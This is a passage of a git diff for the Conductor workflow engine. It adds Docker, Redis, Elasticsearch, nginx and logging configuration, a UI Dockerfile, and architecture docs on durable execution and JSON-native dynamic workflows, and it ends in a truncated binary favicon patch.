OpenSearch namespace (from PR #675 - Phase 1) +conductor.opensearch.url=http://os:9200 +conductor.opensearch.indexPrefix=conductor +conductor.opensearch.indexReplicasCount=0 +conductor.opensearch.clusterHealthColor=green + +# Additional modules for metrics collection exposed to Prometheus (optional) +conductor.metrics-prometheus.enabled=true +management.endpoints.web.exposure.include=health,prometheus + +# Redis health indicator +management.health.redis.enabled=true + +# Load sample kitchen sink workflow +loadSample=true diff --git a/docker/server/config/config-redis.properties b/docker/server/config/config-redis.properties new file mode 100755 index 0000000..57f2842 --- /dev/null +++ b/docker/server/config/config-redis.properties @@ -0,0 +1,38 @@ +# Database persistence type. +# Below are the properties for redis +conductor.db.type=redis_standalone +conductor.queue.type=redis_standalone + +conductor.redis.hosts=rs:6379:us-east-1c +conductor.redis-lock.serverAddress=redis://rs:6379 +conductor.redis.taskDefCacheRefreshInterval=1 +conductor.redis.workflowNamespacePrefix=conductor +conductor.redis.queueNamespacePrefix=conductor_queues + +conductor.workflow-execution-lock.type=redis +conductor.app.workflowExecutionLockEnabled=true +conductor.app.lockTimeToTry=500 + +conductor.app.systemTaskWorkerThreadCount=20 +conductor.app.systemTaskMaxPollCount=20 + +# Elastic search instance indexing is enabled. +conductor.indexing.enabled=true +conductor.indexing.type=elasticsearch +conductor.elasticsearch.url=http://es:9200 +conductor.elasticsearch.indexName=conductor +conductor.elasticsearch.version=7 +conductor.elasticsearch.clusterHealthColor=yellow + +# Additional modules for metrics collection exposed to Prometheus (optional) +conductor.metrics-prometheus.enabled=true +management.endpoints.web.exposure.include=health,prometheus + +# Redis health indicator +management.health.redis.enabled=true + +# Load sample kitchen sink workflow +loadSample=true + +# Redis cluster connection in SSL mode +conductor.redis.ssl=false diff --git a/docker/server/config/config.properties b/docker/server/config/config.properties new file mode 100755 index 0000000..44d4716 --- /dev/null +++ b/docker/server/config/config.properties @@ -0,0 +1,53 @@ +# See README in the docker for configuration guide + +# db.type determines the type of database used +# See various configurations below for the values +#conductor.db.type=SET_THIS + +# =====================================================# +# Redis Configuration Properties +# =====================================================# +#conductor.db.type=redis_standalone + +# The last part MUST be us-east-1c, it is not used and is kept for backwards compatibility +# conductor.redis.hosts=rs:6379:us-east-1c +# + +# conductor.redis-lock.serverAddress=redis://rs:6379 +# conductor.redis.taskDefCacheRefreshInterval=1 +# conductor.redis.workflowNamespacePrefix=conductor +# conductor.redis.queueNamespacePrefix=conductor_queues + + +# =====================================================# +# Postgres Configuration Properties +# =====================================================# + +# conductor.db.type=postgres +# spring.datasource.url=jdbc:postgresql://localhost:5432/postgres +# spring.datasource.username=postgres +# spring.datasource.password=postgres +# Additionally you can use set the spring.datasource.XXX properties for connection pool size etc. + +# If you want to use Postgres as indexing store set the following +# conductor.indexing.enabled=true +# conductor.indexing.type=postgres + +# When using Elasticsearch 7 for indexing, set the following + +# conductor.indexing.enabled=true +# conductor.indexing.type=elasticsearch +# conductor.elasticsearch.url=http://es:9200 +# conductor.elasticsearch.version=7 +# conductor.elasticsearch.indexName=conductor + +# =====================================================# +# Status Notifier Configuration Properties +# =====================================================# + +# Task statuses to publish (comma-separated list) +# conductor.status-notifier.notification.subscribed-task-statuses=SCHEDULED,COMPLETED,FAILED,TIMED_OUT,IN_PROGRESS + +# Workflow statuses to publish (comma-separated list) +# Valid values: RUNNING,COMPLETED,FAILED,TIMED_OUT,TERMINATED,PAUSED,RESUMED,RESTARTED,RETRIED,RERAN,FINALIZED +# conductor.status-notifier.notification.subscribed-workflow-statuses=RUNNING,COMPLETED,FAILED,TIMED_OUT,TERMINATED,PAUSED diff --git a/docker/server/config/log4j-file-appender.properties b/docker/server/config/log4j-file-appender.properties new file mode 100644 index 0000000..44973df --- /dev/null +++ b/docker/server/config/log4j-file-appender.properties @@ -0,0 +1,40 @@ +# +# Copyright 2023 Conductor authors +# +# Licensed under the Apache License, Version 2.0 (the "License"); +# you may not use this file except in compliance with the License. +# You may obtain a copy of the License at +# +# http://www.apache.org/licenses/LICENSE-2.0 +# +# Unless required by applicable law or agreed to in writing, software +# distributed under the License is distributed on an "AS IS" BASIS, +# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. +# See the License for the specific language governing permissions and +# limitations under the License. +# + +log4j.rootLogger=INFO,console,file + +log4j.appender.console=org.apache.log4j.ConsoleAppender +log4j.appender.console.layout=org.apache.log4j.PatternLayout +log4j.appender.console.layout.ConversionPattern=%d{ISO8601} %5p [%t] (%C) - %m%n + +log4j.appender.file=org.apache.log4j.RollingFileAppender +log4j.appender.file.File=/app/logs/conductor.log +log4j.appender.file.MaxFileSize=10MB +log4j.appender.file.MaxBackupIndex=10 +log4j.appender.file.layout=org.apache.log4j.PatternLayout +log4j.appender.file.layout.ConversionPattern=%d{ISO8601} %5p [%t] (%C) - %m%n + +# Dedicated file appender for metrics +log4j.appender.fileMetrics=org.apache.log4j.RollingFileAppender +log4j.appender.fileMetrics.File=/app/logs/metrics.log +log4j.appender.fileMetrics.MaxFileSize=10MB +log4j.appender.fileMetrics.MaxBackupIndex=10 +log4j.appender.fileMetrics.layout=org.apache.log4j.PatternLayout +log4j.appender.fileMetrics.layout.ConversionPattern=%d{ISO8601} %5p [%t] (%C) - %m%n + +log4j.logger.ConductorMetrics=INFO,console,fileMetrics +log4j.additivity.ConductorMetrics=false + diff --git a/docker/server/config/log4j.properties b/docker/server/config/log4j.properties new file mode 100644 index 0000000..eeb6e5a --- /dev/null +++ b/docker/server/config/log4j.properties @@ -0,0 +1,26 @@ +# +# Copyright 2023 Conductor authors +# +# Licensed under the Apache License, Version 2.0 (the "License"); +# you may not use this file except in compliance with the License. +# You may obtain a copy of the License at +# +# http://www.apache.org/licenses/LICENSE-2.0 +# +# Unless required by applicable law or agreed to in writing, software +# distributed under the License is distributed on an "AS IS" BASIS, +# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. +# See the License for the specific language governing permissions and +# limitations under the License. +# + +# Set root logger level to DEBUG and its only appender to A1. +log4j.rootLogger=INFO, A1 + +# A1 is set to be a ConsoleAppender. +log4j.appender.A1=org.apache.log4j.ConsoleAppender + +# A1 uses PatternLayout. +log4j.appender.A1.layout=org.apache.log4j.PatternLayout +log4j.appender.A1.layout.ConversionPattern=%-4r [%t] %-5p %c %x - %m%n +logging.logger.com.netflix.dyno.queues.redis.RedisDynoQueue=ERROR \ No newline at end of file diff --git a/docker/server/config/redis.conf b/docker/server/config/redis.conf new file mode 100644 index 0000000..f43add6 --- /dev/null +++ b/docker/server/config/redis.conf @@ -0,0 +1 @@ +appendonly yes \ No newline at end of file diff --git a/docker/server/libs/.gitignore b/docker/server/libs/.gitignore new file mode 100644 index 0000000..142c008 --- /dev/null +++ b/docker/server/libs/.gitignore @@ -0,0 +1,2 @@ +# Staged build artifacts (created by CI, not committed) +*.jar diff --git a/docker/server/nginx/nginx.conf b/docker/server/nginx/nginx.conf new file mode 100644 index 0000000..fa8f087 --- /dev/null +++ b/docker/server/nginx/nginx.conf @@ -0,0 +1,50 @@ +server { + listen 5000; + server_name conductor; + server_tokens off; + + location / { + add_header Referrer-Policy "strict-origin"; + add_header X-Frame-Options "SAMEORIGIN"; + add_header X-Content-Type-Options "nosniff"; + add_header Content-Security-Policy "script-src 'self' 'unsafe-inline' 'unsafe-eval' assets.orkes.io *.googletagmanager.com *.pendo.io https://cdn.jsdelivr.net; worker-src 'self' 'unsafe-inline' 'unsafe-eval' data: blob:;"; + add_header Permissions-Policy "accelerometer=(), autoplay=(), camera=(), cross-origin-isolated=(), display-capture=(), document-domain=(), encrypted-media=(), fullscreen=(), geolocation=(), gyroscope=(), keyboard-map=(), magnetometer=(), microphone=(), midi=(), payment=(), picture-in-picture=(), publickey-credentials-get=(), screen-wake-lock=(), sync-xhr=(), usb=(), xr-spatial-tracking=(), clipboard-read=(self), clipboard-write=(self), gamepad=(), hid=(), idle-detection=(), serial=(), window-placement=(self)"; + + # This would be the directory where your React app's static files are stored at + root /usr/share/nginx/html; + try_files $uri /index.html; + } + + location /api { + proxy_set_header X-Real-IP $remote_addr; + proxy_set_header X-Forwarded-For $proxy_add_x_forwarded_for; + proxy_set_header X-NginX-Proxy true; + proxy_pass http://localhost:8080/api; + proxy_ssl_session_reuse off; + proxy_set_header Host $http_host; + proxy_cache_bypass $http_upgrade; + proxy_redirect off; + } + + location /actuator { + proxy_set_header X-Real-IP $remote_addr; + proxy_set_header X-Forwarded-For $proxy_add_x_forwarded_for; + proxy_set_header X-NginX-Proxy true; + proxy_pass http://localhost:8080/actuator; + proxy_ssl_session_reuse off; + proxy_set_header Host $http_host; + proxy_cache_bypass $http_upgrade; + proxy_redirect off; + } + + location /swagger-ui { + proxy_set_header X-Real-IP $remote_addr; + proxy_set_header X-Forwarded-For $proxy_add_x_forwarded_for; + proxy_set_header X-NginX-Proxy true; + proxy_pass http://localhost:8080/swagger-ui; + proxy_ssl_session_reuse off; + proxy_set_header Host $http_host; + proxy_cache_bypass $http_upgrade; + proxy_redirect off; + } +} \ No newline at end of file diff --git a/docker/ui/Dockerfile b/docker/ui/Dockerfile new file mode 100644 index 0000000..b03a486 --- /dev/null +++ b/docker/ui/Dockerfile @@ -0,0 +1,28 @@ +# +# conductor:ui - Conductor UI +# +FROM node:20-alpine +LABEL maintainer="Orkes OSS " + +# Install the required packages for the node build +# to run on alpine +RUN apk update && apk add --no-cache python3 py3-pip make g++ + +# A directory within the virtualized Docker environment +# Becomes more relevant when using Docker Compose later +WORKDIR /usr/src/app + +# Copies package.json to Docker environment in a separate layer as a performance optimization +COPY ./ui/package.json ./ + +# Installs all node packages. Cached unless package.json changes +RUN yarn install && mkdir -p public && cp -r node_modules/monaco-editor public/ + +# Copies everything else over to Docker environment +# node_modules excluded in .dockerignore. +COPY ./ui . + +# Include monaco sources into bundle (instead of using CDN) +ENV REACT_APP_MONACO_EDITOR_USING_CDN=false +ENV REACT_APP_ENABLE_ERRORS_INSPECTOR=true +CMD [ "yarn", "start" ] diff --git a/docker/ui/README.md b/docker/ui/README.md new file mode 100644 index 0000000..960340e --- /dev/null +++ b/docker/ui/README.md @@ -0,0 +1,13 @@ +# Docker +## Conductor UI +This Dockerfile create the conductor:ui image + +## Building the image + +Run the following commands from the project root. + +`docker build -f docker/ui/Dockerfile -t conductor:ui .` + +## Running the conductor server + - With localhost conductor server: `docker run -p 5000:5000 -d -t conductor:ui` + - With external conductor server: `docker run -p 5000:5000 -d -t -e "WF_SERVER=http://conductor-server:8080" conductor:ui` diff --git a/docs/architecture/durable-execution.md b/docs/architecture/durable-execution.md new file mode 100644 index 0000000..6ebe074 --- /dev/null +++ b/docs/architecture/durable-execution.md @@ -0,0 +1,126 @@ +--- +description: How Conductor guarantees durable code execution for distributed workflows — what persists at every step, at-least-once task delivery, saga pattern compensation, failure matrix, task state transitions, retry logic with exponential backoff, and distributed consistency. The open source distributed workflow engine built for reliability. +--- + +# Durable Execution Semantics + +Conductor is a durable execution engine for distributed workflows and durable agents. Every workflow execution is persisted at every step, survives infrastructure failures, and guarantees at-least-once task delivery. This durable execution model means your workflows and agents never lose progress. This page defines exactly what that means. + +## What persists + +When a workflow executes, Conductor persists: + +- The **workflow definition snapshot** used for this execution (immutable after start). +- The **workflow state**: status, input, output, correlation ID, and variables. +- Every **task execution**: status, input, output, timestamps, retry count, and worker ID. +- The **task queue state**: which tasks are scheduled, in progress, or completed. + +All state is written to the configured persistence store (Redis, PostgreSQL, MySQL, or Cassandra) before the next step proceeds. If the server restarts, execution resumes from the last persisted state. + + +## Task delivery guarantees + +Conductor provides **at-least-once delivery** for all tasks: + +- When a task is scheduled, it is placed in a persistent task queue. +- A worker polls for the task and receives it. The task moves to `IN_PROGRESS`. +- If the worker completes the task, it reports `COMPLETED` and Conductor advances the workflow. +- If the worker fails or crashes, the task is **redelivered** based on the retry and timeout configuration. + +A task is never silently lost. If a worker polls a task but never responds, the response timeout triggers redelivery. + + +## Failure matrix + +Here is exactly what happens in each failure scenario: + +| Scenario | What Conductor does | Outcome | +|---|---|---| +| **Worker crashes after poll, before any work** | Response timeout fires. Task returns to `SCHEDULED`. New worker picks it up. | Task is retried automatically. No data loss. | +| **Worker crashes after side effect, before completion update** | Response timeout fires. Task is redelivered to another worker. | Task executes again. Workers must be idempotent for side effects, or use the task's `updateTime` to detect redelivery. | +| **Worker reports FAILED** | Conductor creates a new task execution based on retry configuration (`retryCount`, `retryDelaySeconds`, `retryLogic`). | Retried up to the configured limit. After exhaustion, task moves to `FAILED` and the workflow's failure handling kicks in. | +| **Worker reports FAILED_WITH_TERMINAL_ERROR** | No retry. Task is terminal. | Workflow fails or executes the configured `failureWorkflow`. | +| **Server restarts during workflow execution** | On restart, the sweeper service picks up in-progress workflows from persistent storage and re-evaluates them. | Execution resumes from the last persisted state. No manual intervention needed. | +| **Long wait across deploys** | WAIT and HUMAN tasks remain `IN_PROGRESS` in persistent storage. The timer or signal resolution is durable. | When the duration elapses or signal arrives (even days later, after multiple deploys), the task completes and the workflow advances. | +| **Signal/webhook arrives for a paused workflow** | The Task Update API or event handler sets the WAIT/HUMAN task to `COMPLETED` with the provided output. | Workflow resumes immediately with the signal payload available as task output. | +| **Workflow definition updated while executions are running** | Running executions continue using the **snapshot** of the definition taken at start time. New executions use the updated definition. | No running execution is affected by definition changes. Zero-downtime upgrades. | +| **Workflow version deleted while executions are running** | Running executions are decoupled from the metadata store. They continue using their embedded definition snapshot. | Existing executions complete normally. Only new starts are affected. | +| **Network partition between worker and server** | Worker's updates don't reach the server. Response timeout fires, task is requeued. | After partition heals, a new worker (or the same one) picks up the task. | + + +## Task state transitions + +Every task follows this state machine: + +``` +SCHEDULED ──→ IN_PROGRESS ──→ COMPLETED + │ │ + │ ├──→ FAILED ──→ SCHEDULED (retry) + │ │ + │ ├──→ FAILED_WITH_TERMINAL_ERROR + │ │ + │ └──→ TIMED_OUT ──→ SCHEDULED (retry) + │ + └──→ CANCELED (workflow terminated) +``` + +**Terminal states**: `COMPLETED`, `FAILED` (after retries exhausted), `FAILED_WITH_TERMINAL_ERROR`, `CANCELED`, `COMPLETED_WITH_ERRORS` (optional tasks). + +Each transition is persisted before any subsequent action is taken. + + +## Timeout and retry configuration + +Durability is configurable per task via the [task definition](../documentation/configuration/taskdef.md): + +| Parameter | What it controls | +|---|---| +| `timeoutSeconds` | Maximum wall-clock time for the task to reach a terminal state. | +| `responseTimeoutSeconds` | Maximum time to wait for a worker status update before requeuing. | +| `pollTimeoutSeconds` | Maximum time a scheduled task waits to be polled before timeout. | +| `retryCount` | Number of retry attempts on failure or timeout. | +| `retryLogic` | `FIXED`, `EXPONENTIAL_BACKOFF`, or `LINEAR_BACKOFF`. | +| `retryDelaySeconds` | Base delay between retries. | +| `timeoutPolicy` | `RETRY`, `TIME_OUT_WF`, or `ALERT_ONLY`. | + + +## Workflow-level durability + +Beyond individual tasks, Conductor provides workflow-level durability: + +- **Compensation flows**: Configure a `failureWorkflow` that runs automatically when the main workflow fails, with full context (reason, failed task ID, workflow execution data). +- **Pause and resume**: Any running workflow can be paused via API and resumed later. State is fully preserved. +- **Restart, rerun, and retry**: See [Replay and recovery](#replay-and-recovery) below for full details on re-executing workflows. +- **Versioning**: Multiple workflow versions can run concurrently. Running executions are immutable against definition changes. Restarts can optionally use the latest definition. + + +## Replay and recovery + +Every workflow execution is fully replayable. Conductor preserves the complete execution graph — inputs, outputs, and state for every task — so you can re-execute workflows at any time. + +| Operation | What it does | When to use | +|-----------|-------------|-------------| +| **Restart** | Re-executes the entire workflow from the beginning | Definition changed, need a clean run | +| **Rerun** | Re-executes from a specific task, reusing outputs of prior tasks | Fix a task in the middle without re-running everything | +| **Retry** | Retries the last failed task and continues from that point | Transient failure, external dependency was down | + +All three operations work on workflows in any terminal state (COMPLETED, FAILED, TIMED_OUT, TERMINATED) and are available indefinitely — Conductor preserves the full execution graph. Restart can optionally use the latest workflow definition, so you can fix a bug in the definition and replay immediately. + + +## Distributed consistency + +In multi-node deployments, Conductor ensures consistency through: + +- **Distributed locking**: Only one `decide` evaluation runs per workflow at a time across the cluster (pluggable: Zookeeper, Redis). +- **Fencing tokens**: Prevent stale updates from nodes with expired locks. +- **Persistent queues**: Task queues survive node failures. Configurable sharding strategies (round-robin or local-only) trade off distribution vs. consistency. + +See the [deployment guide](../devguide/running/deploy.md#locking) for distributed lock configuration. + + +## What this means for your code + +1. **Workers should be idempotent.** Because of at-least-once delivery, a task may execute more than once. Design workers to handle redelivery safely. +2. **You don't need to build retry logic.** Conductor handles retries, timeouts, and requeuing. Your worker just reports success or failure. +3. **Long-running processes are safe.** Use WAIT and HUMAN tasks for pauses that span minutes to days. State is durable across deploys. +4. **Definition changes are safe.** Update workflow definitions without affecting running executions. Roll out new versions gradually with zero downtime. diff --git a/docs/architecture/json-native.md b/docs/architecture/json-native.md new file mode 100644 index 0000000..ea8d21b --- /dev/null +++ b/docs/architecture/json-native.md @@ -0,0 +1,204 @@ +--- +description: Conductor stores workflow definitions as JSON — the canonical runtime format for this durable execution workflow engine. Create dynamic workflows at runtime, version and diff definitions, and expose any workflow as an API or MCP tool. +--- + +# JSON + Code Native Workflow Orchestration + +Conductor stores workflow definitions as JSON. This is not a UI convenience or a simplified mode—JSON is the canonical runtime representation. Every workflow, whether created via SDK, API, UI, or file, is stored, versioned, and executed as a JSON document. + +For agent orchestration and dynamic workloads, this is a structural advantage. + + +## What "JSON + code native" means mechanically + +1. **Storage.** The workflow definition is a JSON document persisted in the data store. The execution engine reads this document to schedule tasks. +2. **Versioning.** Each version is a distinct JSON document. Multiple versions can run concurrently. Running executions use a snapshot taken at start time and are immutable against later changes. +3. **API parity.** The JSON you write in a file is the same JSON you send to the API, see in the UI, and get back from the SDK. There is no compiled intermediate form. +4. **Dynamic creation.** You can construct a workflow definition as a JSON object at runtime and pass it directly to the `StartWorkflowRequest` API. Conductor executes it immediately without pre-registration. + + +## Why this matters for agents + +### Agents produce structured output—JSON is native + +LLMs already communicate in structured formats: function calls, tool-use schemas, JSON mode responses. Conductor's JSON workflow definitions are in the same format that agents already produce. An LLM can generate a workflow definition directly, and Conductor can execute it. + +### Runtime generation without compile/deploy + +Traditional workflow engines require you to define workflows in code, compile, and deploy before they can run. Conductor's JSON + code native approach means: + +- A planner agent can generate a new workflow definition as JSON. +- Your code sends that JSON to `POST /api/workflow` with the definition inline. +- Conductor validates, persists, and executes it immediately. +- The workflow is fully durable, observable, and retryable—identical to any pre-registered workflow. + +This enables patterns like: + +- **LLM-generated plans** where the agent decides the steps at runtime. +- **Template instantiation** where a base workflow is modified per-request. +- **A/B testing** where different workflow versions are created and run dynamically. + +### Inspectability and auditability + +Every workflow execution is a JSON document that records: + +- The definition that was used (immutable snapshot). +- Every task's input, output, status, timestamps, and retry history. +- The workflow's input, output, variables, and state transitions. + +You can query, diff, export, and replay any execution. For AI agent workflows, this means you can audit exactly what the agent planned, what tools it called, what the LLM returned, and what the human approved. + +### Diffable versioning + +Because definitions are JSON, you can: + +- Store them in Git and review changes in pull requests. +- Diff two versions to see exactly what changed. +- Roll back by re-registering a previous version. +- Run canary deployments by routing traffic between versions. + +Running executions are never affected by definition changes—they use the snapshot taken at start time. + + +## Dynamic workflows in detail + +Conductor supports three levels of dynamism: + +### 1. Dynamic workflow definitions + +Pass the complete workflow definition in the `StartWorkflowRequest`: + +```json +{ + "name": "dynamic_agent_plan", + "workflowDef": { + "name": "dynamic_agent_plan", + "tasks": [ + { + "name": "search_web", + "taskReferenceName": "search", + "type": "HTTP", + "inputParameters": { + "http_request": { + "uri": "https://api.search.com/query", + "method": "POST", + "body": { "q": "${workflow.input.query}" } + } + } + }, + { + "name": "summarize", + "taskReferenceName": "summarize", + "type": "SIMPLE" + } + ] + }, + "input": { + "query": "conductor workflow engine" + } +} +``` + +No pre-registration needed. The definition is embedded in the execution and persisted. + +### 2. Dynamic tasks + +The `DYNAMIC` task type resolves which task to execute at runtime based on input: + +```json +{ + "name": "run_tool", + "taskReferenceName": "tool_call", + "type": "DYNAMIC", + "inputParameters": { + "taskToExecute": "${plan.output.nextTool}" + }, + "dynamicTaskNameParam": "taskToExecute" +} +``` + +The value of `taskToExecute` is determined by the output of a previous task (e.g., an LLM deciding which tool to call). Conductor resolves and schedules the appropriate task type at runtime. + +### 3. Dynamic fork/join + +The `DYNAMIC_FORK` operator creates parallel branches at runtime: + +```json +{ + "name": "parallel_tool_calls", + "taskReferenceName": "fork", + "type": "DYNAMIC_FORK", + "inputParameters": { + "dynamicTasks": "${plan.output.parallelTasks}", + "dynamicTasksInput": "${plan.output.taskInputs}" + }, + "dynamicForkTasksParam": "dynamicTasks", + "dynamicForkTasksInputParamName": "dynamicTasksInput" +} +``` + +The number of branches, their task types, and their inputs are all determined at runtime. This enables an agent to decide how many tools to call in parallel based on its plan. + + +## Deterministic by construction + +JSON workflow definitions are pure orchestration — they describe *what* runs and in *what order*, but contain no executable code. This separation is not a limitation; it is a structural guarantee. + +**No side effects in the workflow definition.** A JSON definition cannot open a database connection, write to a file, or call an API outside of a declared task. Every side effect lives in a worker or system task — isolated, testable, and independently deployable. The workflow definition itself is inert data. + +**Every run is deterministic.** Given the same inputs, a Conductor workflow will schedule the same tasks in the same order, every time. There is no ambient state, no thread-local context, no hidden mutation. This is why [replay](durable-execution.md#replay-and-recovery) works unconditionally — restart a workflow from three months ago and it re-executes the same graph. Code-based workflow engines that embed orchestration logic alongside business logic cannot make this guarantee without imposing significant constraints on what your code is allowed to do (no random numbers, no system clocks, no uncontrolled I/O). + +**Clean separation of concerns.** Orchestration logic (sequencing, branching, retries, timeouts) is defined declaratively in JSON. Implementation logic (calling APIs, transforming data, running ML models) lives in workers written in any language. Each can be tested, deployed, and versioned independently. Change a worker without touching the workflow. Change the workflow without redeploying workers. + +### JSON is more dynamic than code + +The common assumption is that code-based workflows are more flexible. The opposite is true. Code-based definitions are static at deploy time — to change the workflow, you redeploy. + +Conductor's JSON definitions can be: + +- **Generated at runtime** — an LLM or planner service produces a workflow definition as JSON and Conductor executes it immediately, no compilation or deployment step. +- **Modified per-execution** — pass a complete `workflowDef` in the start request to customize any execution on the fly. +- **Dynamically branched** — [DYNAMIC tasks](../documentation/configuration/workflowdef/operators/dynamic-task.md) resolve which task to execute based on runtime output. [DYNAMIC_FORK](../documentation/configuration/workflowdef/operators/dynamic-fork-task.md) creates an arbitrary number of parallel branches determined by a previous task's output. [Sub-workflows](../documentation/configuration/workflowdef/operators/sub-workflow-task.md) can be selected and parameterized dynamically. + +Combined, these primitives make Conductor the most dynamic workflow engine available — not despite using JSON, but because of it. A JSON definition is data, and data is easy to generate, transform, and compose programmatically. Code is not. + +### AI-native by design + +LLMs produce structured output. JSON *is* structured output. There is no impedance mismatch — an agent can generate a Conductor workflow definition directly, and Conductor executes it with full durability, observability, and replayability. No code generation, no compilation, no deployment pipeline. The workflow evolves as fast as the agent can think. + +Code-based workflow engines require generated code to be compiled, tested, and deployed before it runs — a friction that fundamentally limits how dynamically an AI system can operate. + + +## Exposing workflows as APIs and MCP tools + +Any Conductor workflow is already an API endpoint: + +```bash +# Start a workflow (async, returns execution ID) +conductor workflow start -w my_agent -i '{"query": "summarize this document"}' + +# Get the result +conductor workflow status {executionId} +``` + +??? note "Using cURL" + ```bash + curl -X POST http://localhost:8080/api/workflow/my_agent \ + -H 'Content-Type: application/json' \ + -d '{"query": "summarize this document"}' + + curl http://localhost:8080/api/workflow/{executionId} + ``` + +Workflows return structured JSON output defined by `outputParameters` in the definition. This makes them directly consumable by other agents, services, or MCP-compatible tools. + +For MCP integration, a Conductor workflow can be registered as an MCP tool, allowing LLMs and agent frameworks to discover and invoke it directly with structured input/output. + + +## Next steps + +- **[Durable Execution Semantics](durable-execution.md)** — What persists, what gets retried, failure matrix. +- **[Why Conductor for Agents](../devguide/ai/index.md)** — How Conductor's primitives map to agent patterns. +- **[Quickstart](../quickstart/index.md)** — Get running in 5 minutes. +- **[Workflow Definition Reference](../documentation/configuration/workflowdef/index.md)** — Full JSON schema for workflow definitions. +- **[Dynamic Fork](../documentation/configuration/workflowdef/operators/dynamic-fork-task.md)** — Runtime-determined parallel execution. diff --git a/docs/assets/images/favicon.png b/docs/assets/images/favicon.png new file mode 100644 index 0000000000000000000000000000000000000000..8a0f42d2649e3af1d7f5ead7f75e049418756ced GIT binary patch literal 20196 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 